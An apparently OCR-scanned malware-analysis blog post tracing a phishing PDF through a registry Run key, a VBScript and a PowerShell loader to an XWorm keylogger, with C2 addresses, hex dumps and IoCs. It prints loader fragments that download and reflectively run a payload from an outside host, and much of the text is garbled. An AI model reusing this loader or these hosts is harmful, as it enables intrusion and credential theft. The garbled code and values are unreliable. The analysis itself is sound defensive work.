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stegocampaign is a cyberattack using steganography to hide malware in images, making detection difficult. It
delivers malware like AgentTesla, FormBook, Remcos, and LokiBot, using hidden payloads in images. Victims

face data theft, remote control attacks, and credential harvesting.

Steganography is the practice of concealing information within other media, such as images, audio files, and GIFs.
Recently, we identified an active StegoCampaign and decided to investigate it further. In this blog, we will dive

deep into the detailed kill chain of this campaign. Let’s get started!
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Attached PDF from the phishing mail

So the initial vector of this campaign is a phishing mail that comes with a attached Pdf and on viewing that it

shows “Download Graphics extension” to view the PDF.
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<~ O q https:,ﬁ’fww.slendspace.com;‘pro,fdI,-‘\.szx-j?| I Redirected link from Pdf

About Sll @ https://www.sendspace.com/pro/dl/vjzvj7

. https:/fwww.sendspace.com/pro/dlfvjzvj7 - Bing Search

Filter your search: %) History 17 Favorites ) Tabs

URL redirected from the PDF

The above URL is the one that the PDF file redirected to download the graphics extension but instead it

downloads a registry entry.

Downloads F Q -
]

g Pol-grophicsreg downloads Registry

Open file

— CiAan in ta RAannala

Registry File getting downloaded
Analysis Reg File

On examining the Reg file, we can see that ‘Run’ entry being added to the Values. The value corresponds to

calling powershell via Cmd with window hidden and execution policy bypassed to download a vbs file from the
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URL and saving that as “maze.vbs” in Temp location and it got executed right away(As per the script). since it’s a

run entry, only when the system reboots it runs, in the mean time it stays till the user reboots.

Press enter or click to view image in full size

Persistence presented in reg file
Below image is the vbs script obtained from the mentioned URL.
Press enter or click to view image in full size

e G 3 hitps/dfsupportayfecfreehr/downimazevbs

sub escapologists
bumpers = metallacycle
Far £ = 1 To UScund(buspers) Step 2
benzothiopyran = bumpers{i)
batfowling = beachgolng(arcay( “WBScripting.%s”, beazothlopyran ))
castrensial = beachgoing{array( ={%s}", buspers{i + 1) })

Deleter.Deletekey Root, beachgoing(array{ _
“Saftwhre\Closses\%s\", botfowling _

1

Deleter Deletekiey Root, beachgoing(array( _
“software\Classes\CLSIDVKSL", castrensial _

3

Deleter.Deleterey Root, beachgolng(Array( _
“Softwere \WORESINode \Classes \CLEIDVNSY", castrensial _

1}
Deleter.Deletekey Root, beathgoing(array{ _
=Software\Closses \WOWGS 32Mode \CLSIDANS A", castrensial _
1
Hext
Bim bumpers, i, benzothispyran, batfewling, castrensial
End Sub

Sub microsiphonula
herbivority = @ “
fleeceless
Erd Sub
Sub fleeceless
appeared
herbivority = herbivority + 1
If herbivority » UBcund{ resistivities ) Them
herbivority = @
Exit Sub
End If
window. setTimeout resistivities{ herbivority ), 1. VBScript
Emd Sub

Sub subentity
Oim app "MTML spplication object reference
Dis bedeen, conquizivion, lsoprostancs, Nyssa, sercensrily, dersstoptercus “strings
Set sh = Createfbject( “Wicript.Shell® )
Set bedmate = CreateObject{ "Scripting.FileSystemObject™ )
Set app = docusent.getElesentiByTagiase( “applicatien™ )(0)
document.Title = app.applicaticnliame
shaker = Reploce(beds=ate.GetParentFolderiose(app.Commpndiine), =77, "7}

Aot hearhenine - tiew Strinefocmatter

maze.vbs
Open Visual studio code
In the script we can see that there’s some obfuscated content and also found a replace
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Obfuscated String
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Open CyberChef and paste the obfuscated “bradykinin” data into the Input field. In the Recipe section, add the
Find/Replace operation, set the second parameter as Find, and the third parameter as Null in Replace. This will

generate a Base64-encoded string.

Press enter or click to view image in full size
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PR Py T E g 3% TP R L LR Tl R Py T I B 1 L W0 T T A TR U 1 TSR ¥ Rl Rl PSR F R R U 355 T o ol Tl T L P
L g T Lt T T e L L T P P T T T S Y IR L. T T R 11
Repiace B T L L T T T Y L e PR T
B D T L T L s 1
) AR AT BN IR L AR F AR OV b A DA T e A e YRt
ve [ Mulne manching R R e e A AYEN- MO0 "IV LA RN NAORE TN 30 AVETA 3000 -4 10K
A AANRER e R AVE NG T T DA LR AR TRAERAF R T OV R TR T D TR VR T A AR
D L B R PNy e O P
[ et razches 48 B T R L O S PR LT TR e T T S L MR T E L TR R T PR T
R ™ TR A PSR 3  AVE R M T TP DAV RAR a3 AVE e 3407 T
B T L N T L e T L o
B AR AT bR TN RO I TR a0 ST 3 T

Er s T g L L e LF R L e P S g

Global mateh ] case inver

Gunput B E] m B

TR G R losl T B A TRARAC A TSl A AE VAT AR LA 58 LHVALER v ATHAL Bl AbmeAL S g FoAL AT OB LAMEAT BLUAHERTOR
i g A SRR A L AL el DO oot MO B oo Al A AT AGLA TR 040 B kel TAC AR PO R LA LB DR tﬂksﬂdﬂk-’-mmﬂ.;ﬁyiﬁ
UALABRALE A LACAR s JRC ER ..:;u.,muue.u.mmmm.guqemwemwm Afbesh Lick L ghmacthas
AR I AGRANGREAEAL BB GRS QA AGEAC AT PACEAT ERp AL ATOBMAD: TABLALGATIEE ASGASCRS
lE"-#Tl*S—E’F—-ﬂB!-—(A."l'WIr_iMIEE‘)‘G‘(F’ﬁ’“WN—M—ﬂ‘n‘ﬂMHE8—’!#B@‘WBF#‘UMEM#&'WW]—MIMSAMW
Al A A ARSI L AR BB ASADIAMGA S AL RPUARS oo LAV RAGUADQN AL { ADWAKAT BAYQUFALAYY
BUAGIATAARACLAT EA I AHCALOBPAS [ A3ZE I AGMATALZ AF RARDE 1 mm-.:tuvwmuamugm anu?lﬁuﬁbhﬁl!ﬁlimsl@ﬂml
ERIAT ARMAE BRYTH A OB LALOAL EBEALEA S Bt B AGHAMAR RARAN(AOA0 04 OB PALMA L vAHA ALBATQRSADE AT A SRR
PO LA SRR | AOAL EUAL O A A E A ek A g B AT DAL A UANIB GADEAL ERHALAMALG TAHOAE § e et AT i il Qb a8 LG TAYDR
ORGAT R0 SR 1A JAG A FRUAGKAT FRCALAAPDARAT CAPAARAE [AQUETAEUANG A0AT B4 hELIAE EALIGRUADEARTANAD S ATAR | AHUADE B ] A5g AsQB L AHTAL AR0AL
A TS AT AT PARIASADQAN M AL SANAA.

Decode Obfuscated String

Take the Base64-encoded output from the previous step and enter it into the Input field. Then, apply the following
recipe: From Base64 and Remove null bytes. This will decrypt the string, revealing a Reverse URL
Construction, which points to the URL: “https[.]//support.zyfex|.lfree[.]hr/down/ConvertedFile[.]txt”.

Press enter or click to view image in full size

Recipe B mE e v ko +O=Fm

TABE A A N AL ARSAL AR T A AR ARG A PR E VAT AN TAHOAL 8 1A AL ALt AbWER AL LA FEOAC SAT OELRHIAT BAURHEAT
CEmAHEArg AulHOA L gRCANRAL AR Y AL e dDndirifoad ML ARl 0w R o YR | MR B0 R Blchofl A0 LAPQA BACOA cufl RADRA L AR ALK Abg R AT ALLTD
Alphabal ey A A SRR L A0 AR Tt A C AL AARACE AABANSIISA TR LAGIA sl A b S AR 8 LA AL Ag A0 .0 ABAHA S TADOAL wivADHAHAL AT AL g
L7 Y T Al AAD ARG M SR A A AT 3 AR (v A AT QA AT 0 AL T AL S G AEQPAAF AANOANT AL AT GATIEC
AG0808 SAE LAY A SAEMAIIEE TAGKAVR ] AF AAaghyAF AMgE Al Qi TAEwd e B LLEAATASH AR ALR BT AF Al E BAIA JAEMAOR RAE ] AlkeA TAE 5 AViGied
B e B e e L

From Basefd &ow

Femove non-alphabet chars AR G YA T AL AAT SR A L 8 PG T2 L LG AL L0 3 LHOAT O A AT g 1ML gAY g ALt 300 | AL ST AL S AR L 4G T

AR YAGQAT DR TS LS NQE ALY QBUALOAL ZEEAGEADGE LAl bk MQ—%MMKMMH@VMABMMM&A‘J-MH

ABRAGAAYTE AL AAPOAGAT LAAS LAHALAY LGOS, B AARLAL AP BADY AT UAVADGA FIpRGELT

Remave nul bytes G 0 WASACOADARAGEAVEBYAGAT waasa.Jmmm&mnm,Kw.zaccmusacuqqsmumnwmememmmmw.muw R
Rt | Jamg

Output we it @0 R o

"TAL. el EFERtrened famed/th . eerf . -wh-..nwww.r SPCth™ g shons = Ssaspling -replace "7, "UjialcrosTome =
T CoRrapt T LIR ERS 171 LeRay eATn.. TIIRER bl abpriazdlc -

l)ie(‘vd]BF z_ WH@SSICNHDI&_\'N-HNH]“C(!#‘.33[71‘11;9!0“:5!&?6 250ak1and = Wew-Object Systes. bet Webdlient (Sledarde =

e Lid . Do ] St0AL A S e Bat ol ) CAeF AL = [Sydtes. Text. Enceding] L auTid.denserlngl$lebards): forlfy =

“£4BASELA_STARTH>';Sbenchier = "<{BASEG_ENIS:" ;Firrisible = Fortalan, Indewdf(foornl ifhepaithrlc =

Sortalan. Indext( $tunchier) ;$Erelsible «ge 0 and Shepalithelc ogt $ierisible;Sirrisible ws $oornify. Length;Sherodlanic =

$hugalthele - $lrrisible;slactoiazone « fortalis Subitrlng(3irrlilble, fharadlanic) feonpaiied =

[System.lomrert]: iFromBaselaitring(Flactosazone)  Splatitudlngl = [Sysbes.Refleciion.Assesbly]:iLoadlFrompasses) Fplacers =

[dnkib. 10 Home ] Conbothed{"VAL' ) Taveke(frll, [object]]]

Bidgemerhous, "t L R nPraransazt, T, LS Progrannan st f Cacreeml lun®, bt 10, 10, Sddepitesunlyt )]

Hﬂﬁ]lf‘l

Reverse Loader

The downloaded payload is stored in gameshow, while AddInProcess32 runs the add-in in an isolated 32-bit
process, separate from the main application. The payload is saved in C:\ProgramData\acrohilus, with vbs

indicating a VBScript execution. The values ‘1’, ‘1’ are unclear but may serve as execution flags or commands.

Get Sarviya’s stories in your inbox

Join Medium for free to get updates from this writer.
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Remember me for faster sign in

The website mentioned in the Ps script redirects to the below page where the ConvertedFile. Txt is present.

Press enter or click to view image in full size
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Payload from Reverse Link

On looking at it , we can see that it’s obfuscated. So we gonna try several options in Cyberchef. Since the URL is

in reverse, this probably in reverse (Strikes in my mind) and I tried FromBase64 too. AND BANG!

Press enter or click to view image in full size

Recipe Bl E e i Teds +O50§ =
Fverse & n N R S I e iy S AAAMARE AR
& i AALAL ITAFTRTNY
Character ir o N B A
From Basedd & n AR A AR AL AR AR " "

Alpnazet T I
A-Ta-zB-5efa PRI IR IR 3L L MWD I 0D HEp 1A VRO T A0 TSR IVEE 10iad IRoQRHT BMKE 1 FXT ySCREAL [ par TKDERVESTE V) SPIMIT  MQpVHT A TRErS
BB hISFVad 1otV Dokie 16N AVE T LR B 100c L AL BRA LA 1E0H 11 1 VAL EADOVED 1841 Al v] Wp 1l 2 PR LhIVE o i1 SHnk 4 106gHN
Iriebp TRy AFTLEIC 1V | THPgAd TRAC TKRGP SR a3V INHFRAL Lol T IS 5ha F mt D 1VEln Tt Ibyhat LychINT oM2 g | 1 SP2554E RHT v Tnb 135

P -alphabat cha
8 Remave non-alphabet chars IS IR T e Lt bF S pachssF U 150 110l L D s LxT SPubia T2 JB5 0016 duti ) 1M EWE 30NV EAL LI EA] Ll Shhutiiaz 1Kk ]
TMuF b SHE S5 b F et S OnIvi Iy AR b Lych INTCH I Eing LI5P2SGET el Sxartva e sFGPNdgPy Tye 1] pusbrvativk Saronmd LptLcave Loz Tultava
e G "bIBITMsagvL BELIORIUTTAN 2iengLaE A THA 16 VA ASEADA AR BOTAMHA BODAE SATAMDARALAE
: L x ) BT T ALY LA B A THACBOAA PAMSARAALAA BT A3 CAS BT AL ALEO0R SR T AL E AAMTABCAREERAICA B
s e e
Space a Qustput Tonatic 1480 B0@ ]

a4 Ca D0 ) 03 B0 0 0B B3 B0 G0 B0 FF OFF BB S0 B B0 B0 08 BB B 00 00 50 0O B0 B3 B0 B0 B0 DO BX BB G 00 0O 08 B8 &8
TR0 T B0 B0 B0 0D D3 39 30 B0 00 DD D3 90 99 00 B0 D9 B2 00 9990 De 1F ba de 99 62 09 o 20 0O 9L dc cd 20 54 0
G5 T3 10 T8 72 6 67 T2 BR &4 20 63 61 Ge e 6F 74 20 62 65 BB T2 75 Ge 20 60 £+ DB 44 4F 53 20 6F 6F &4 85 2e 00 B4
24000 00 00 00 00 00 B0 52 4% 00 00 4 01 03 &0 3d <f 20 67 02 00 00 00 00 00 0 0 20 &0 0F 01 0 D1 Ob 20 00 B D2 B
0 0B B0 90 B0 00 0 B2 L& 35 00 00 0D 20 00 90 99 <0 00 02 03 @ 40 00 0D 20 03 92 90 92 0O DD 04 DO 20 00 0D 0D 0D
4 BO B0 G B0 B0 0 0B B2 B0 GL B0 00 0} BB b 80 00 KA 08 01 B 40 85 00 B 10 63 B0 10 B0 BB BX BB 10 00 0O 16 B2 6B
DR 09 S0 10 B0 0D 09 02 90 30 00 0D 00 03 90 f< 44 00 09 4F 00 90 00 B0 of 03 93 €0 34 00 0D 19 99 30 S0 0D 0B 09 89
00 BB B3 G 20 20 00 0B B e B0 B0 Bc DO BB 90 0 80 0 D3 DI B0 B0 00 0O 0O B3 &3 80 30 00 DB DI I B0 B0 0D 0D BB B
B O 00 00 B B B B3 B B G B0 0O DO BB B0 0 B0 A O OB b G0 00 0O 30 0D 6B B8 B0 B0 DO DX BB B GO Bd BB BO B8
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0002 D 0 00 B0 DD DY DR 30 20 B0 40 DD 02 40 Je 77 65 6c 6F 41 00 00 0 09 02 40 20 #0 00 0D 0P D2 20 20 00 Be D2
B0 B2 B2 @0 20 20 B0 B2 B2 B0 20 BO 50 DY B2 42 @0 00 0 DA D2 B B0 00 0O DY B .20 20 B, BR 34 45 B0 20 00 BD bR W
45 BB B0 G0 B3 B O 03 B 53 00 B0 T4 S0 BB 60 1 00 B8 04 14 B0 00 06 00 08 B3 &b B0 #0 00 Bo BN bb G0 o0 0d bh 08 &8

cTrD m E ARG SO SR AR RD R R SR AN B RD RA R SR S BA AR R R T O BN AR RE RS G S0 0N AR AR Te BT TR A1 AR B As Ta
Decrypted MZ File

We got MZ header. So now its some executable. I’'m gonna dump it and save it for further.
Xworm Execution:

Open the extracted PE file in dnSpy, then right-click and select Go to Entry Point. Initially, the Main function
reveals an AES decryption method, suggesting the presence of a hardcoded obfuscated string. Set a
breakpoint at pasteurl, then execute step by step. As you progress, the decrypted string will become visible in

the value section of dnSpy.

Inside the key, an encrypted string is visible, along with two strings: Host and Port. These may indicate a C2

(Command and Control) server, which will be decrypted from the encoded string.
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Press enter or click to view image in full size

Before decrypted String
After execution of download string, we got the c2 Host and Port address.

Press enter or click to view image in full size

ServicePointManager. Expecti®@Continue = true;

{5Ering retumed

C2 Host and port

Enter the decoded URL into a browser, which will reveal the IP address and port of the C2 (Command and

Control) server.
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« > C 23 pastebin.com/raw/CKHqQFk6

196.251.89.42:2121

C2 Response

Now, execute the extracted PE file. In ProcMon, you can observe that it writes data to the Temp folder under
the name log.temp. Additionally, network activity reveals that the file is connecting to the C2 server,

establishing a send and receive communication channel.

Press enter or click to view image in full size
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ProcMon- Xworm connecting to c2

In the Temp folder, the file log.tmp stores recorded data, revealing that it is capturing keystrokes. This confirms

that the malware functions as a keylogger, recording user input and potentially exfiltrating sensitive information.
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loeoptytennt  |Bsurupprofieons onnteracive |Bnewt  [Bloewz | Htegtmp # ]

1

3 ##% *new 1 = Hotepad++ #3F

2 [CTRE] [CTRL] [CTRL] [CTRL] [CTAL] [CIRL] [CIRL)EE

=

& ##% new 2 - Hotepad++ FF§

7 h

B

9 #%F *new Z - Hotepad++ F§F

i0 i[SPACE)weilskwklisifsd[ENTER]L[SPACE] lobve [SPACE] [ENTER] [Shift]i[SPACE]L, ove' [ENTER] L [SPACE]want [SEACE]to[SPACE]te
sE[SPACE]tha [SPACE] file [ENTER]

11

iz B
abusseipdh . comfechack ?Uisibl&_query-ht CpS¥IARZERZFS005. £filamasil . comy2Papi V2P s ley2FgatySFEilakeyy3Dnlx_STOLRHOS)L1NBS
CRviabP]rH3d1C-Lxe0dJPF_Z 1MFECuQBSSHcprht2épk wid¥3D342803dlecdeibd01739359203b5fabdiquery=3005.f1lemail. com¥2Fapl
YiFfiledZFgetd3Fiilekeyt3inix_ST0LxHOB L INDSCRVIALEIIWIALC-Le0adFE_L_1HPECulBSSkopthbiopk_vide3D342803dlocdeldbioly
303502053b5fe0d and & more pages - Profile 1 - Microsoft Edge 224

13 104. [CTRL] [CTRL] [CIRL] [CIRL] [CTAL] HEM104.20.3.235 [ENTER)

14

15 $4¢ Direct IPF access not allowed | Cloudflaze and & more pages - Profile 1 - Microsoft Edge #4%

15 nEcps[Shife] [Shift] [Shifr] [Shifc] [Shifr] [Shife] [Shifr] [Shifr] [Shifr] [Shefc] [Shifc][Shifr][Shift] [Shife]:// [ENTER]

17

i8 #4# 403 Forbidden and € more pages - Frofile 1 - Microsoft Edge #3f

13 [CTRL] [CTRL] [CTRL] [CTRL]

20

21 EE

3005 . filemail comfapi/file/get?iilekey nix STOLxHOBIL1HBECAviabPsW2dl0-LeeOddPF 2 IMPECuQBSSRopthspk_vid=34220341c
c2a3pBE01T758358203b5fe8d and & more pages - Prafila 1 - Microseft Edge §§d

22 [CTRL] [CTRL] [CTRL] [CTAL) [CTRL] (CTRL) [CTAL) [CTRL) [CTAL) EED
[Shife] [Shife] [Shife] [Bhife] [Shife] [Shife] [Shife] [Shift] [Shife]:443[E

Keystrokes Stored in Temp Folder

In Wireshark, the captured network traffic shows data being transferred to the C2 server, with corresponding
ACK (Acknowledgment) packets, confirming successful communication between the infected system and the

attacker’s server.

Press enter or click to view image in full size

N [ipsddr == 156251852

Packet details | | String |1
Options | Neerow i Wide o Dl Capesensive [ Bachwards 1] Muiiple cccumences
No. Time Source Destination wratocol Lengtl Infa
542 58595150 10.8.2.15 TP 73 53694 = 2121 [PSH, ACK] Seqedds Arke39 Wine51162 Len=19
543 68, GOALEE 136,251, 53, 42 TP €3 2171 + 5364 [AK] Seqedd AckedS Wine32304 Len=d
B 70, 214655 196,351, 65.43 ToR TH 3131 - S3ERA [PEH, ACK] Seqedf Ackedd Win=32304 Lon=if
45 78273181 18.8.2.15 TP 54 53E04 = 2121 [AX] Seqe465 Ack=355 Wine51143 Len=8
1121 52.230139 10.0.2.15 TP 137 53694 + 2121 [PSM, ACK] SeqedsS Ack=58 Wins511a3 Len=83
1133 B2, 411367 196,151, §5.42 ToR FE 311 - S3ERS [PRA, ACK] Seqe3S Acke348 Wine32221 Len=10
1133 82413802 16.8.2.15 TP 73 S3ER4 = 2121 [PSH, ACK] SeqeS43 Ack=77 Win=51124 Len=19
1124 B2.459938 196. 251. 89,42 TP £ 2121 + 53894 [MX] Seqe77 AcksSE7 Wins32202 Lens
47 1IB6 96078215 g TR 137 S3BRE - 2171 [PSH, ADK] Seqe587 AckeTT Wine51123 Len=G3
| 1287 96.232313 TP 6B 2121 = 53688 [ACK] Seqe77 Acke£5d Winm32119 Len=
1285 96, 309799 TP 73 2121 » 53634 [PSM, ACK] Seqe77 Acke638 Wine32119 Len=19
1369 96, 311610 10.9.2.1% 194, 251, 89,42 TCP TH SEE9S = 2121 [POM, ACK] SeqeeS@ Ack=9¢ Win=5110% Len=19
1750 96, 58846 196251 89,42 108215 T 6B 2121 = S3ERS [AK] SeqeP6 ACkeG59 Winm3TLRO Len=d
1326 180171557  196.251.89.42 19.8.2.15 TP 73 2121 ~ 53634 [FSM, ALK] Seqed6 AckeG69 Wine32180 Len=19
1NIE 100, 221411 18.9.2.39 194, 291, 89,42 e B4 85694 + 2121 [MK] Seqeddd Ack=11% Wine1088 Len=d
1439 109.984236  18.8.2.15 19625189 .42 TP 137 53804 = 2121 [PSH, ACK] SeqeS59 Atke115 WEA=S51086 Len=83
1449 118.116441  195.351.59.42 19.8.2.15 TR T3 2121 ~ 53834 [FSH, ACK] SeqellS Acke752 Wine32817 Len=19
1443 110, 116067  19.9.2.1% 194, 2%1.88.42 TP THOSERSE + 2121 [PSM, ALK] SeqeTi2 Ack=134 Win=51067 Len=19
1442 118.155252  196.251.89.42 3 15 T €5 2121 = 53ER [ACX] Seqe13% Ack=T71 Win=31098 Len=g

RN A i A A EADE

o mewmoans ammnns ann u o an. _xen s

» Interface id: @ (\Device\WPF_{144EBBEL- BEDF-4502-B60F - JECE90900TAF }) -

BB B0 27 7a 50 59 52 34 @@ 12 35 @@

Encapsulation type: Ethernet (1) W'.TMMWN"N o7 de ;:fb
. 1587142, 1900 P 92 of 88 45 42 86 82 1b ae 2¢ Of 5d

Arrival Time: Mar 5, 2025 89558:42.04415, acific Standard Tise 74 77 b 52 00 00 00 00 00 00 00 00

UTC Arrival Tiee: Mar 8, 2028 17:56:42.044295000 UTC

Epach Arrlval Tise: 1781197522.848193808

[Time shift for this packet: 9.080000000 seconds]

[Time delta fro= previcus captured frame: @.310F38000 reqend:]
[Time delta froe previous displayed frase: 8_X1393E00d seconds]
[Time since reference or first frome: 96.732213008 seconds)
Frase lysber; 1207

Frase Length: 68 bytes (488 birs)

capture Length! 60 bytes (288 birs)

[Frase iz marked: Falie]

[Frase s ignered: False]

[Protocels in fr. ethiethertype:ipitcp]

[Eeloring Rule Name: TCP)

Wireshark — C2

IoC: shal

Maze.vbs :64F19C6E30548BC3880DD6B1B4D21D174D5C8EFF
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Xworm:99C5F8B888CD29574173AEOFO3F6AEEBAC3AB2E1

AnyRun:Analysis xworm (MD5: B3A89BOBF85BDA317F428C807637F9D5) Malicious activity — Interactive
analysis ANY.RUN

Source: https://sarviyamalwareanalyst.medium.com/xworm-attack-chain-leveraging-steganography-from-phishing-email-to-keylogging-via-c2

-communication-f3a4c91dfd06
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